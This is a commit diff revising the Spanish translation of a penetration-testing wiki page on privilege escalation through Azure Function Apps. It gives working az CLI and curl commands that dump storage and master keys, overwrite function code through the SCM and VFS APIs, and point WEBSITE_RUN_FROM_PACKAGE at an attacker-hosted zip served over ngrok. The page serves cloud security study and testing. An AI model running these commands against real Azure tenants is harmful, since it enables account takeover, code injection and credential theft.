Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:04 +00:00
parent 06cfdd0efc
commit 8b3e34c899
@@ -4,7 +4,7 @@
## Function Apps
Consulta la siguiente página para más información:
Consulta la siguiente página para obtener más información:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Consulta la siguiente página para más información:
### Bucket Read/Write
Con permisos para leer los containers dentro de la Storage Account que almacena los datos de la function, es posible encontrar **diferentes containers** (personalizados o con nombres predefinidos) que podrían contener **el code ejecutado por la function**.
Con permisos para leer los containers dentro del Storage Account que almacena los datos de la function, es posible encontrar **different containers** (custom o con nombres predefinidos) que pueden contener **el código ejecutado por la function**.
Una vez que encuentres dónde está ubicado el code de la function, si tienes permisos de escritura sobre él puedes hacer que la function ejecute cualquier code y escalar privilegios a las managed identities adjuntas a la function.
Una vez que encuentres dónde está ubicado el código de la function, si tienes permisos de escritura sobre él, puedes hacer que la function ejecute cualquier código y escalar privilegios a las managed identities adjuntas a la function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`)
El code de la function suele almacenarse dentro de un file share. Con suficiente acceso es posible modificar el archivo de code y **hacer que la function load arbitrary code** permitiendo escalar privilegios a las managed identities adjuntas a la Function.
El código de la function normalmente se almacena dentro de un file share. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la function cargue código arbitrario**, lo que permite escalar privilegios a las managed identities adjuntas a la Function.
Este método de deployment normalmente configura los settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** which you can get from
Este método de despliegue normalmente configura las settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al código.
Esas configs contendrán la **Storage Account Key** que la Function puede usar para acceder al code.
> [!CAUTION]
> Con permisos suficientes para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios.
> Con suficientes permisos para conectarse al File Share y **modificar el script** que se está ejecutando, es posible ejecutar código arbitrario en la Function y escalar privilegios.
El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para más información sobre file shares:
El siguiente ejemplo usa macOS para conectarse al file share, pero se recomienda revisar también la siguiente página para obtener más info sobre file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
También es común encontrar las **zip releases** dentro de la carpeta `function-releases` del contenedor de Storage Account que la function app está usando, en un contenedor **usualmente llamado `function-releases`**.
También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor del Storage Account que la function app está usando en un contenedor **normalmente llamado `function-releases`**.
Normalmente este método de despliegue establecerá la configuración `WEBSITE_RUN_FROM_PACKAGE` en:
Normalmente este método de despliegue establecerá la config `WEBSITE_RUN_FROM_PACKAGE` en:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esta configuración suele contener una **SAS URL para descargar** el código desde el Storage Account.
Esta configuración normalmente contendrá una **SAS URL para descargar** el código desde el Storage Account.
> [!CAUTION]
> Con permisos suficientes para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios.
> Con suficientes permisos para conectarse al blob container que **contiene el código en zip** es posible ejecutar código arbitrario en la Function y escalar privilegios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Al igual que en el caso anterior, si el despliegue se realiza vía Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
Al igual que en el caso anterior, si el deployment se realiza mediante Github Actions es posible encontrar la carpeta **`github-actions-deploy`** en el Storage Account que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Con permisos para leer los contenedores dentro del Storage Account que almacena los datos de la function es posible encontrar el contenedor **`scm-releases`**. Allí se puede encontrar la última release en **Squashfs filesystem file format** y por lo tanto es posible leer el código de la function:
Con permisos para leer los containers dentro del Storage Account que almacena los datos de la function es posible encontrar el container **`scm-releases`**. Allí es posible encontrar el último release en **Squashfs filesystem file format** y, por lo tanto, es posible leer el código de la function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar en su interior.
También es posible encontrar las **master and functions keys** almacenadas en la storage account en el container **`azure-webjobs-secrets`** dentro de la carpeta **`<app-name>`** en los archivos JSON que puedes encontrar dentro.
> [!CAUTION]
> Con permisos suficientes para conectarse al blob container que **contains the code in a zip extension file** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Function y escalar privilegios.
> Con suficiente permission para conectarse al blob container que **contiene el code en un archivo con extensión zip** (que en realidad es un **`squashfs`**) es posible ejecutar arbitrary code en la Function y escalar privilegios.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Este permiso permite listar las claves function, master y system, pero no la host, de la funcn especificada con:
Este permiso permite listar las keys de function, master y system, pero no la host, de la function especificada con:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Con la master key también es posible obtener el código fuente en una URL como:
Con la master key también es posible obtener el source code en una URL como:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Y para **cambiar el código que se está ejecutando** en la funcn con:
Y para **cambiar el código que se está ejecutando** en la function con:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,17 +154,17 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Este permiso permite obtener la default key de la función especificada con:
Este permiso permite obtener la key default de la función especificada con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Invoca la función utilizando la clave predeterminada obtenida:
Invoca la función usando la key obtenida por defecto:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Este permiso permite crear/actualizar una clave de función de la función especificada con:
Este permiso permite crear/actualizar una function key de la función especificada con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
@@ -175,7 +175,7 @@ Este permiso permite crear/actualizar una master key para la función especifica
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Recuerda que con esta key también puedes acceder al código fuente y modificarlo como se explicó antes!
> ¡Recuerda que con esta key también puedes acceder al source code y modificarlo como se explicó antes!
### `Microsoft.Web/sites/host/systemKeys/write`
@@ -193,7 +193,7 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Este permiso permite obtener la configuración de una funcn. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contienen una **clave de cuenta para acceder al blob storage de la funcn con permisos COMPLETOS**.
Este permiso permite obtener la configuración de una function. Dentro de estas configuraciones podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **account key para acceder al blob storage de la function con permisos COMPLETOS**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
@@ -204,17 +204,17 @@ az rest --method POST \
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Estos permisos permiten listar los valores de configuración de una funcn como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecuta dentro de la funcn.
Estos permisos permiten listar los valores de configuración de un function como vimos antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el code que se va a ejecutar dentro de la function.
Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
Por lo tanto, es posible establecer el valor de la setting **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en una URL que contenga el nuevo code a ejecutar dentro de una web application:
- Comienza por obtener la configuración actual
- Empieza obteniendo la config actual
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Crea el código que quieras que la función ejecute y alójalo públicamente
- Crea el código que quieres que la función ejecute y alójalo públicamente
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código.
- Modifica la función, mantén los parámetros anteriores y añade al final la config **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el code.
La siguiente es un ejemplo de mis **propias configuraciones que tendrás que cambiar por las tuyas**, nota al final el valor `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde alojaba la app.
El siguiente es un example de mis **propios settings que tendrás que cambiar por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o mediante el siguiente endpoint de la API):
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente endpoint de API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Este permiso permite listar todos los publishing profiles que básicamente contienen **basic auth credentials**:
Este permiso permite listar todos los perfiles de publicación, que básicamente contienen **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Otra opción sería configurar tus propios creds y usarlos con:
Otra opción sería establecer tus propias creds y usarlas utilizando:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Si las credenciales están **REDACTED**
- Si las credenciales de **REDACTED**
Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción SCM de autenticación básica** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Si ves que esas credenciales son **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -302,26 +302,47 @@ az rest --method PUT \
}
}
```
- **Método SCM**
- **Method SCM**
Entonces, puedes acceder con estas **basic auth credentials to the SCM URL** de tu function app y obtener los valores de las env variables:
Entonces, puedes acceder con estas **credenciales de autenticación básica a la URL SCM** de tu function app y obtener los valores de las variables de entorno:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Nota que el **SCM username** suele ser el carácter "$" seguido del nombre de la app, así: `$<app-name>`._
Puedes descargar, modificar y subir nuevo código de función:
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
También puedes acceder a la página web desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Los valores de configuración contienen el **AccountKey** de la storage account que almacena los datos de la function app, lo que permite controlar esa storage account.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Incluso puedes subir un archivo específico:
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
- **Método FTP**
También puedes acceder a la web page desde `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Los valores de configuración contienen la **AccountKey** de la storage account que almacena los datos de la function app, permitiendo controlar esa storage account.
- **Method FTP**
Conéctate al servidor FTP usando:
```bash
@@ -337,7 +358,7 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Tenga en cuenta que el **FTP username** suele tener el formato \<app-name>\\$\<app-name>._
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
@@ -347,9 +368,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
```
### `Microsoft.Web/sites/functions/token/action`
Con este permiso es posible [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que posteriormente puede usarse para recuperar la **master key** y, por lo tanto, acceder y modificar el código de la funcn.
Con este permiso es posible [obtener el **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), que luego puede usarse para recuperar la **master key** y, por tanto, acceder y modificar el código de la function.
Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, por lo que podría estar deshabilitado o ya no funcionar; pero aquí se muestra cómo lo harías:
Sin embargo, en mis últimas comprobaciones no se devolvió ningún token, así que puede que esté deshabilitado o que ya no funcione, pero así es como lo harías:
```bash
# Get admin token
az rest --method GET \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
También es posible ver si una funcn está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis):
También es posible ver si una function está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con estos permisos es posible **modificar el container run by a function app** configurado para run a container. Esto permitiría a un atacante subir una azure function container app maliciosa a docker hub (por ejemplo) y hacer que la funcn la ejecute.
Con estos permisos es posible **modificar el container ejecutado por una function app** configurada para ejecutar un container. Esto permitiría a un atacante subir una malicious azure function container app a docker hub (por ejemplo) y hacer que la function lo ejecute.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Con estos permisos es posible **adjuntar una nueva identidad administrada de usuario a una funcn**. Si la función fuera comprometida, esto permitiría escalar privilegios a cualquier identidad administrada de usuario.
Con estos permisos es posible **adjuntar una nueva user managed identity a una function**. Si la function estuviera comprometida, esto permitiría escalar privilegios a cualquier user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Depuración remota
### Remote Debugging
También es posible conectarse para depurar una Azure Function en ejecución como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción pasados 2 días en caso de que el desarrollador la olvide, para evitar dejar configuraciones vulnerables.
También es posible conectarse para depurar una Azure function en ejecución como se [**explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide de evitar dejar configuraciones vulnerables.
Es posible comprobar si una Function tiene la depuración habilitada con:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Teniendo el permiso `Microsoft.Web/sites/config/write` también es posible poner una funcn en modo de depuración (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
Tener el permiso `Microsoft.Web/sites/config/write` también permite poner una function en modo debugging (el siguiente comando también requiere los permisos `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` y `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Cambiar repo de Github
### Change Github repo
Intenté cambiar el repo de Github desde donde ocurre el despliegue ejecutando los siguientes comandos, pero aunque cambió, **el nuevo código no se cargó** (probablemente porque espera que la Github Action actualice el código).\
Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repositorio, así que parece que esto no es muy útil.
Intenté cambiar el Github repo desde donde se está realizando el deployment ejecutando los siguientes comandos, pero aunque cambiara, **el nuevo code no se cargó** (probablemente porque espera que el Github Action actualice el code).\
Además, la **managed identity federated credential no se actualizó** para permitir el nuevo repository, así que parece que esto no es muy útil.
```bash
# Remove current
az functionapp deployment source delete \